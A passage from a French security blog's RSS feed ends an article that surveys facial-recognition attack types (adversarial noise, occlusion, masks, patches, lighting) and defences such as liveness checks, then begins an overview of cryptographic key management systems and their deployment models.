<li><u>Extraction des caractéristiques faciales de la personne :</u> Une fois le visage est détecté, l’algorithme extrait des caractéristiques spécifiques qui vont permettre de le distinguer des autres visages. Ces caractéristiques incluent des éléments intelligibles (position des yeux, forme globale &#8230;) ainsi que des éléments intelligibles uniquement par le modèle IA (dégradé et arrangements spécifiques de pixels)</li>
<li><u>Création d’une empreinte faciale :</u> A partir des caractéristiques extraites, l’algorithme crée une empreinte faciale, qui est essentiellement un résumé du visage, sur un format numérique compréhensible pour le modèle.</li>
<li><u>Comparaison avec la base de données :</u> Afin de réaliser des identifications et des recherches, l’empreinte faciale obtenue pourra être comparée avec des bases de données d’empreinte ou d’image. Les correspondances trouvées mentionneront généralement un pourcentage de confiance, selon le niveau de ressemblance calculé.</li>
</ol>
<p style="text-align: justify;">De nos jours, les mécaniques sous-jacentes de traitement d’image et de Machine Learning peuvent offrir des performances excellentes, en termes de rapidité ou de cohérence des résultats. Mais au même titre que le reste des services technologiques automatisés, elles peuvent souffrir de vulnérabilité de sécurité cyber, et peuvent dans certains cas être détournées par un attaquant.</p>
<p> </p>
<h1>Panorama des attaques et faiblesses</h1>
<p> </p>
<p style="text-align: justify;">L’objectif ne sera pas d’énumérer l’ensemble des attaques potentielles sur les systèmes liés au Machine Learning, mais de se concentrer sur les attaques pouvant viser les algorithmes de RF. Les principales typologies sont les suivantes :</p>
<p style="text-align: justify;"><u>Les attaques par adversaire (Adversary Attacks) </u><br />Premières fissures dans l’armure des algorithmes de RF, découvertes dans les années 2010, leur principe est d’introduire subtilement un bruit très léger dans les images envoyées au système. Cette altération, quasi invisible pour un être humain, bouleversera en revanche les caractéristiques fines vues par le modèle, et pourra permettre volontairement des erreurs de compréhension et de classification par le réseau de neurones sous-jacent. S&rsquo;il est en mesure d’altérer les images envoyées, un attaquant ayant une bonne connaissance du système en question pourrait ainsi usurper l’identité d’un utilisateur.</p>
<p> </p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23252" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/06/Picture_1_French.png" alt="" width="600" height="236" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/06/Picture_1_French.png 600w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/06/Picture_1_French-437x172.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/06/Picture_1_French-71x28.png 71w" sizes="auto, (max-width: 600px) 100vw, 600px" /></p>
<p style="text-align: center;"><em>Exemple d’attaque par adversaire</em></p>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;"><u>Attaques par occlusion</u><br />Dès 2015, des chercheurs ont pu mettre en pratique des attaques où l&rsquo;occlusion de parties du visage, comme par le port de lunettes ou de masques, peut permettre de tromper certains modèles de RF. En effet, le modèle pourra ne pas réussir à détecter et extraire de visages des images capturées, ou bien à extraire des caractéristiques incohérentes. Dans les deux cas, de telles attaques permettent une anonymisation des sujets</p>
<p> </p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23254" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/06/Picture_2_Both.png" alt="" width="600" height="185" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/06/Picture_2_Both.png 600w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/06/Picture_2_Both-437x135.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/06/Picture_2_Both-71x22.png 71w" sizes="auto, (max-width: 600px) 100vw, 600px" /></p>
<p style="text-align: center;"><em>Exemples de dispositifs d&rsquo;occlusion</em></p>
<p style="text-align: justify;"><br /><u>Attaques par substitution de visage </u></p>
<p style="text-align: justify;">A l’instar des films d’espionnage, les chercheurs ont exploré les attaques par substitution de visage, utilisant des techniques parfois sophistiquées pour tromper les systèmes en présentant des visages artificiels qui ressemblent à de vrais visages. Les techniques peuvent aller du simple masque en carton, jusqu’à la reproduction d’un visage et de ses détails sur un masque « sur-mesure » en silicone. Ces attaques ont soulevé des préoccupations quant à la fiabilité des systèmes de reconnaissance faciale dans des scénarios du monde réel.</p>
<p style="text-align: justify;">A noter que certains systèmes de RF (comme Windows Hello de Microsoft) s’appuieront sur une caméra infrarouge, pour notamment s’assurer d’être face à un vrai visage.</p>
<p> </p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23256" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/06/Picture_3_Both.png" alt="" width="468" height="217" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/06/Picture_3_Both.png 468w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/06/Picture_3_Both-412x191.png 412w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/06/Picture_3_Both-71x33.png 71w" sizes="auto, (max-width: 468px) 100vw, 468px" /></p>
<p style="text-align: center;"><em>Procédure de création de visage pour une attaque par substitution de visage</em></p>
<p> </p>
<p style="text-align: justify;"><u>Attaques par superposition</u></p>
<p style="text-align: justify;">Dans certains cas, une simple superposition d’un “patch” sur une autre image peut induire en erreur les algorithmes de RF. Il est possible de calculer l’image qui représente le mieux une personne ou un objet (un grille-pain dans notre cas) du point de vue du modèle, et d’insérer cet élément dans l’image que l’on souhaite détourner. Le modèle de RF aura tendance à se focaliser sur cette zone, et cela pourra altérer complètement ses prédictions.</p>
<p> </p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23260" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/06/Picture_4_French.png" alt="" width="624" height="290" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/06/Picture_4_French.png 624w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/06/Picture_4_French-411x191.png 411w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/06/Picture_4_French-71x33.png 71w" sizes="auto, (max-width: 624px) 100vw, 624px" /></p>
<p style="text-align: center;"><em>Exemple d’attaque par superposition</em></p>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;"><u>Attaques par illumination </u></p>
<p style="text-align: justify;">En jouant sur l’éclairage environnant, il est courant de pouvoir altérer la performance d’un algorithme de RF, mettant en avant la nécessité de prendre en compte les conditions environnementales.</p>
<p style="text-align: justify;"> </p>
<h1 style="text-align: justify;">Demain, une défense à la hauteur des risques </h1>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">Face à ces systèmes faillibles, tout un ensemble de stratégies de protection apparaissent, misant généralement sur la vérification de la cohérence et la véracité des images présentées. Un bref panorama des axes de travail pour la défense :</p>
<ol style="text-align: justify;">
<li><strong>Clignement des yeux</strong> : Le clignement des yeux peut être utilisé comme mécanisme de défense pour vérifier l&rsquo;authenticité des visages en temps réel, en effet le clignement des yeux est dur à reproduire et manière naturelle sur une image ou une vidéo. En se basant sur des schémas de clignement naturels, les systèmes de reconnaissance faciale peuvent détecter les tentatives de fraude et renforcer la sécurité de l&rsquo;identification biométrique.</li>
<li><strong>Analyse de la démarche</strong> : L&rsquo;analyse de la démarche offre une couche supplémentaire de défense en vérifiant la cohérence entre l&rsquo;identité revendiquée et la manière dont une personne marche. Cette méthode peut aider à prévenir les attaques basées sur des imposteurs ou des contrefaçons en détectant les irrégularités dans la manière dont une personne se déplace, renforçant ainsi la sécurité des systèmes de reconnaissance faciale.</li>
<li><strong>Analyse de la vivacité des visages</strong> : En utilisant des caractéristiques dynamiques du visage, tels que les mouvements musculaires et les clignements des yeux, l&rsquo;analyse de la vivacité des visages permet de distinguer les visages réels des faux, empêchant ainsi les attaques basées sur des images ou des vidéos préenregistrées. Cette technique renforce la sécurité de l&rsquo;authentification biométrique en s&rsquo;assurant que les visages soumis à la reconnaissance sont vivants et en direct.</li>
<li><strong>Scan 3D complet</strong> : Le scan 3D complet capture les détails tridimensionnels du visage, offrant une représentation plus précise et difficile à contrefaire. En utilisant cette technique, les systèmes de reconnaissance faciale peuvent détecter les tentatives de fraude par des masques ou des sculptures faciales, renforçant ainsi la sécurité de l&rsquo;identification biométrique.</li>
<li><strong>Techniques biométriques complémentaires de confiance</strong> : En combinant plusieurs modalités biométriques telles que la reconnaissance faciale, l&#8217;empreinte digitale et la reconnaissance de la voix, les systèmes de reconnaissance faciale peuvent bénéficier de multiples niveaux de défense. Cette approche renforce la sécurité en réduisant les risques d&rsquo;erreurs de reconnaissance et de contournement, offrant ainsi une identification biométrique plus robuste et fiable.</li>
</ol>
<p style="text-align: justify;"> </p>
<h1 style="text-align: justify;">Conclusion</h1>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">De par leur conception en “boite noire”, les systèmes basés sur l’IA, avec plus récemment l’IA générative, sont actuellement faillibles. De nouvelles typologies et techniques d’attaque voient le jour, au même titre que des technologies de défense.</p>
<p style="text-align: justify;">Dans le cas de la reconnaissance faciale, elle peut exposer ses utilisateurs à des risques évidents d’usurpation d’identité, avec de plus une perméabilité pro/perso, comme toute authentification biométrique, à la différence d’un simple mot de passe.</p>
<p style="text-align: justify;">Avec la démocratisation des technologies de “deepfake”, et l’érosion de notre confiance dans les images, un effort de sécurisation de ces systèmes doit être assuré, à la hauteur de la grande responsabilité pouvant leur être accordée.</p>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;"> </p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2024/06/les-differents-visages-de-la-reconnaissance-faciale-fonctionnement-et-attaques/">Les différents visages de la Reconnaissance Faciale : fonctionnement et attaques</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/2024/06/les-differents-visages-de-la-reconnaissance-faciale-fonctionnement-et-attaques/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Les KMS : la clé de la gestion sécurisée des objets cryptographiques </title>
		<link>https://www.riskinsight-wavestone.com/2024/05/les-kms-la-cle-de-la-gestion-securisee-des-objets-cryptographiques/</link>
					<comments>https://www.riskinsight-wavestone.com/2024/05/les-kms-la-cle-de-la-gestion-securisee-des-objets-cryptographiques/#respond</comments>
		
		<dc:creator><![CDATA[Paul Chopineau]]></dc:creator>
		<pubDate>Wed, 29 May 2024 13:07:16 +0000</pubDate>
				<category><![CDATA[Cybersecurity & Digital Trust]]></category>
		<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[Manufacturing & Industry 4.0]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=23208</guid>

					<description><![CDATA[<p>Cet article s’adresse principalement à un public averti, maitrisant l’utilisation de clés cryptographiques dans un SI et leur gestion au sein des organisations.  L’accroissement des exigences de sécurité concernant tant les environnements industriels que les objets connectés ont provoqué une...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2024/05/les-kms-la-cle-de-la-gestion-securisee-des-objets-cryptographiques/">Les KMS : la clé de la gestion sécurisée des objets cryptographiques </a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p><i><span data-contrast="auto">Cet article s’adresse principalement à un public averti, maitrisant l’utilisation de clés cryptographiques dans un SI et leur gestion au sein des organisations.</span></i><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p><span data-contrast="auto">L’accroissement des exigences de sécurité concernant tant les environnements industriels que les objets connectés ont provoqué une </span><b><span data-contrast="auto">profusion des clés cryptographiques</span></b><span data-contrast="auto">, parfois difficile à gérer, dans les entreprises. Celles-ci servent à la fois à chiffrer et déchiffrer des documents ou échanges, mais aussi à la vérification de l’authenticité de messages ou fichiers, par exemple lors de la mise à jour du logiciel d’un composant, pour s’assurer de son intégrité.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p><span data-contrast="auto">Une solution au problème de la complexité de gérer de nombreuses clés cryptographiques dans une entreprise est de mettre en place un </span><b><span data-contrast="auto">KMS</span></b><span data-contrast="auto">, pour Key Management System. Cet outil aide à protéger les données, la sécurité des produits et des processus sous la forme d’un </span><b><span data-contrast="auto">outil centralisé</span></b><span data-contrast="auto"> de gestion des clés cryptographiques. </span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p><span data-contrast="auto">Au-delà d’une simple </span><b><span data-contrast="auto">standardisation</span></b><span data-contrast="auto"> des processus, ils peuvent aider à régler des problèmes tels que la </span><b><span data-contrast="auto">génération de clés différentes</span></b><span data-contrast="auto"> en grand nombre, le stockage</span> <span data-contrast="auto">et</span><b><span data-contrast="auto"> accès aux clés</span></b><span data-contrast="auto"> ou encore la </span><b><span data-contrast="auto">dépréciation</span></b><span data-contrast="auto"> des clés.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<h1 aria-level="1"><span data-contrast="none">Pourquoi utiliser un KMS ?</span><span data-ccp-props="{&quot;134245418&quot;:true,&quot;134245529&quot;:true,&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559738&quot;:360,&quot;335559739&quot;:240,&quot;335559740&quot;:259}"> </span></h1>
<p><span data-contrast="auto">Les KMS (</span><i><span data-contrast="auto">Key Management Systems</span></i><span data-contrast="auto">) sont des systèmes de gestion de clés cryptographiques qui permettent aux entreprises de gérer de manière </span><b><span data-contrast="auto">centralisée</span></b><span data-contrast="auto"> et </span><b><span data-contrast="auto">sécurisée</span></b><span data-contrast="auto"> leurs clés de chiffrement. Ils s’adressent aux organisations gérant de nombreuses clés cryptographiques, et améliorent ainsi la sécurité de leurs environnements, en standardisant les processus et en apportant des API pour la réalisation des fonctions crypto (signature, chiffrement, déchiffrement). Les organisations ayant de grands réseaux informatiques, mais aussi ceux industriels comprenant des objets connectés tels que des capteurs, des actionneurs ou des systèmes embarqués, ou vendant des produits connectés sont particulièrement concernées.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p><span data-contrast="auto">L’importance d’une bonne gestion des clés est cruciale pour la cybersécurité. Les processus de chiffrement, de signature ou de vérification sont essentiels pour beaucoup d’organisations, même s’ils paraissent parfois comme transparents aux opérationnels. Il est important que les clés de chiffrement soient gérées de manière optimale, afin d’éviter par exemple un </span><b><span data-contrast="auto">stockage non sécurisé des clés</span></b><span data-contrast="auto"> ou l’utilisation de </span><b><span data-contrast="auto">la même clé</span></b><span data-contrast="auto"> pour plusieurs appareils.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p><span data-contrast="auto">Nous allons examiner de plus près ce qu&rsquo;est un KMS, comment il fonctionne et pourquoi il peut devenir essentiel. Plusieurs types de KMS seront présentés, ainsi que les avantages liés à leur utilisation et les difficultés à leur intégration. Enfin, quelques clés seront données pour cibler plus précisément les entreprises qui peuvent bénéficier de ce type d’outil.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p><span data-contrast="auto">Pour plus d&rsquo;informations sur l&rsquo;architecture KMS, vous pouvez également regarder la conférence de Paul Chopineau à l&rsquo;occasion de la Miami S4x24 : </span><span data-contrast="none"><a href="https://youtu.be/J5aeAYxcc24?feature=shared">https://youtu.be/J5aeAYxcc24?feature=shared</a>.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p><img loading="lazy" decoding="async" class="size-full wp-image-23236 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/05/Capture-decran-2024-05-29-145017.png" alt="" width="1426" height="801" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/05/Capture-decran-2024-05-29-145017.png 1426w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/05/Capture-decran-2024-05-29-145017-340x191.png 340w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/05/Capture-decran-2024-05-29-145017-69x39.png 69w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/05/Capture-decran-2024-05-29-145017-768x431.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/05/Capture-decran-2024-05-29-145017-800x450.png 800w" sizes="auto, (max-width: 1426px) 100vw, 1426px" /></p>
<p style="text-align: center;"><i><span data-contrast="none">Figure </span></i><i><span data-contrast="none">1</span></i><i><span data-contrast="none"> : Architecture type d&rsquo;un KMS</span></i><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:2,&quot;335551620&quot;:2,&quot;335559739&quot;:200,&quot;335559740&quot;:240}"> </span></p>
<h1 aria-level="1"><span data-contrast="none">Les différentes manières de déployer un KMS</span><span data-ccp-props="{&quot;134245418&quot;:true,&quot;134245529&quot;:true,&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559738&quot;:360,&quot;335559739&quot;:240,&quot;335559740&quot;:259}"> </span></h1>
<p><span data-contrast="auto">Il existe plusieurs manières d’implémenter un KMS, selon les options proposées par leur constructeur. Certains sont proposés en mode </span><b><span data-contrast="auto">SaaS</span></b><span data-contrast="auto">. D’autres peuvent être installés sur les serveurs de l’entreprise (</span><b><i><span data-contrast="auto">on premise</span></i></b><span data-contrast="auto">), et il existe aussi des KMS </span><b><span data-contrast="auto">hybrides</span></b><span data-contrast="auto"> pour lesquels les clés sont stockées </span><i><span data-contrast="auto">on premise</span></i><span data-contrast="auto"> mais l’applicatif est dans le cloud.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p><span data-contrast="auto">Les premiers sont des </span><b><span data-contrast="auto">solutions cloud</span></b><span data-contrast="auto"> qui permettent de gérer les clés de chiffrement depuis un ordinateur ou un serveur. Ce sont des produits plus scalables et agiles, aussi plus faciles à déployer et à mettre à jour. En revanche, la sécurité des clés sera dépendante de celle du service cloud, même s’il est possible d’introduire des surchiffrements.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p><span data-contrast="auto">Les KMS</span> <b><i><span data-contrast="auto">on premise</span></i></b><span data-contrast="auto"> sont des solutions logicielles et matérielles qui permettent de gérer les clés cryptographiques en utilisant des serveurs et HSM internes à l’organisation. Ils sont généralement plus personnalisables et parfois plus adaptés à des besoins spécifiques que les KMS déployés en mode SaaS. En revanche, leur intégration sera plus longue et leur coût d’achat (CAPEX initial) sera plus élevé. Leur avantage est aussi qu’ils peuvent permettre à une entreprise de s’assurer de sa souveraineté sur ses clés cryptographiques. Ils conviennent donc mieux aux entreprises ayant des exigences très fortes de sécurité et une capacité plus importante d’investissement initial</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p><span data-contrast="auto">Enfin, les KMS</span><b><span data-contrast="auto"> hybrides</span></b><span data-contrast="auto"> pourraient représenter un juste milieu entre sécurité optimale et facilité de déploiement. L’objectif est de garder le contrôle sur les clés, celle-ci étant dans ce cas sauvegardées sur site, mais de bénéficier d’une plus grande facilité de déploiement et de montée en charge grâce à un applicatif hébergé dans le cloud. Le déploiement de l’applicatif est ainsi facilité, mais il reste à installer les ressources matérielles de gestion des clés (HSMs). La sécurité des clés s’approche de celle d’une solution </span><i><span data-contrast="auto">on premise</span></i><span data-contrast="auto">, mais le logiciel rend celle-ci dépendante du service cloud. Attention néanmoins à se protéger d’une exploitation frauduleuse des clés depuis les infrastructures cloud qui pourrait être plus difficile à détecter que pour un KMS </span><i><span data-contrast="auto">on premise</span></i><span data-contrast="auto">.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p><img loading="lazy" decoding="async" class="size-full wp-image-23234 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/05/Capture-decran-2024-05-29-145044.png" alt="" width="1426" height="766" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/05/Capture-decran-2024-05-29-145044.png 1426w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/05/Capture-decran-2024-05-29-145044-356x191.png 356w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/05/Capture-decran-2024-05-29-145044-71x39.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/05/Capture-decran-2024-05-29-145044-768x413.png 768w" sizes="auto, (max-width: 1426px) 100vw, 1426px" /></p>
<p style="text-align: center;"><i><span data-contrast="none">Figure </span></i><i><span data-contrast="none">2</span></i><i><span data-contrast="none"> : Les trois implémentations possibles pour un KMS</span></i><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:2,&quot;335551620&quot;:2,&quot;335559739&quot;:200,&quot;335559740&quot;:240}"> </span></p>
<p><span data-contrast="auto">Il est aussi possible de classer les produits sur le marché selon le </span><b><span data-contrast="auto">type de fournisseur</span></b><span data-contrast="auto">.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p><span data-contrast="auto">On retrouve ainsi premièrement les produits des </span><b><span data-contrast="auto">grands acteurs du cloud</span></b><span data-contrast="auto"> :</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<ul>
<li data-leveltext="\" data-font="Tahoma" data-listid="2" data-list-defn-props="{&quot;335552541&quot;:1,&quot;335559685&quot;:720,&quot;335559991&quot;:360,&quot;469769226&quot;:&quot;Tahoma&quot;,&quot;469769242&quot;:[8226],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;\\&quot;,&quot;469777815&quot;:&quot;hybridMultilevel&quot;}" aria-setsize="-1" data-aria-posinset="1" data-aria-level="1"><span data-contrast="auto">Amazon avec </span><a href="https://aws.amazon.com/kms/"><span data-contrast="none">AWS Key Management Service</span></a><span data-contrast="auto"> (AWS KMS),</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></li>
<li data-leveltext="\" data-font="Tahoma" data-listid="2" data-list-defn-props="{&quot;335552541&quot;:1,&quot;335559685&quot;:720,&quot;335559991&quot;:360,&quot;469769226&quot;:&quot;Tahoma&quot;,&quot;469769242&quot;:[8226],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;\\&quot;,&quot;469777815&quot;:&quot;hybridMultilevel&quot;}" aria-setsize="-1" data-aria-posinset="2" data-aria-level="1"><span data-contrast="auto">Microsoft qui propose </span><a href="https://azure.microsoft.com/en-us/products/key-vault/"><span data-contrast="none">Azure Key Vault</span></a><span data-contrast="auto">,</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></li>
<li data-leveltext="\" data-font="Tahoma" data-listid="2" data-list-defn-props="{&quot;335552541&quot;:1,&quot;335559685&quot;:720,&quot;335559991&quot;:360,&quot;469769226&quot;:&quot;Tahoma&quot;,&quot;469769242&quot;:[8226],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;\\&quot;,&quot;469777815&quot;:&quot;hybridMultilevel&quot;}" aria-setsize="-1" data-aria-posinset="3" data-aria-level="1"><span data-contrast="auto">Google avec le </span><a href="https://cloud.google.com/kms/docs?hl=fr"><span data-contrast="none">Cloud KMS</span></a><span data-contrast="auto"> (Key Management Service),</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></li>
<li data-leveltext="\" data-font="Tahoma" data-listid="2" data-list-defn-props="{&quot;335552541&quot;:1,&quot;335559685&quot;:720,&quot;335559991&quot;:360,&quot;469769226&quot;:&quot;Tahoma&quot;,&quot;469769242&quot;:[8226],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;\\&quot;,&quot;469777815&quot;:&quot;hybridMultilevel&quot;}" aria-setsize="-1" data-aria-posinset="4" data-aria-level="1"><span data-contrast="auto">IBM qui propose un </span><a href="https://www.ibm.com/docs/en/cloud-private/3.2.0?topic=guide-key-management-service-kms-adoption"><span data-contrast="none">KMS (Key Management Service)</span></a><span data-contrast="auto"> intégré à IBM Cloud Private.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></li>
</ul>
<p><span data-contrast="auto">Leurs produits s’intègrent parfaitement aux services fournis par ces grands fournisseurs, y compris leurs outils de stockage sécurisé des clés, comme </span><a href="https://cloud.google.com/security-key-management"><span data-contrast="none">le KMS de Google, qui permet de créer des clés dans le cloud et les stocker dans des HSM</span></a><span data-contrast="auto">.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p><span data-contrast="auto">Des </span><b><span data-contrast="auto">entreprises spécialisées</span></b><span data-contrast="auto"> se positionnent également sur le marché :</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<ul>
<li data-leveltext="\" data-font="Tahoma" data-listid="3" data-list-defn-props="{&quot;335552541&quot;:1,&quot;335559685&quot;:720,&quot;335559991&quot;:360,&quot;469769226&quot;:&quot;Tahoma&quot;,&quot;469769242&quot;:[8226],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;\\&quot;,&quot;469777815&quot;:&quot;hybridMultilevel&quot;}" aria-setsize="-1" data-aria-posinset="5" data-aria-level="1"><span data-contrast="auto">Cryptomathic avec son </span><a href="https://www.cryptomathic.com/products/key-management/crypto-key-management-system"><span data-contrast="none">CKMS</span></a><span data-contrast="auto"> (Crypto Key Management System),</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></li>
<li data-leveltext="\" data-font="Tahoma" data-listid="3" data-list-defn-props="{&quot;335552541&quot;:1,&quot;335559685&quot;:720,&quot;335559991&quot;:360,&quot;469769226&quot;:&quot;Tahoma&quot;,&quot;469769242&quot;:[8226],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;\\&quot;,&quot;469777815&quot;:&quot;hybridMultilevel&quot;}" aria-setsize="-1" data-aria-posinset="6" data-aria-level="1"><span data-contrast="auto">Entrust, dont le produit se nomme </span><a href="https://www.entrust.com/digital-security/key-management/keycontrol"><span data-contrast="none">KeyControl</span></a><span data-contrast="auto">,</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></li>
<li data-leveltext="\" data-font="Tahoma" data-listid="3" data-list-defn-props="{&quot;335552541&quot;:1,&quot;335559685&quot;:720,&quot;335559991&quot;:360,&quot;469769226&quot;:&quot;Tahoma&quot;,&quot;469769242&quot;:[8226],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;\\&quot;,&quot;469777815&quot;:&quot;hybridMultilevel&quot;}" aria-setsize="-1" data-aria-posinset="7" data-aria-level="1"><span data-contrast="auto">HashiCorp, avec son produit </span><a href="https://developer.hashicorp.com/vault/docs/secrets/key-management"><span data-contrast="none">Vault</span></a><span data-contrast="auto">,</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></li>
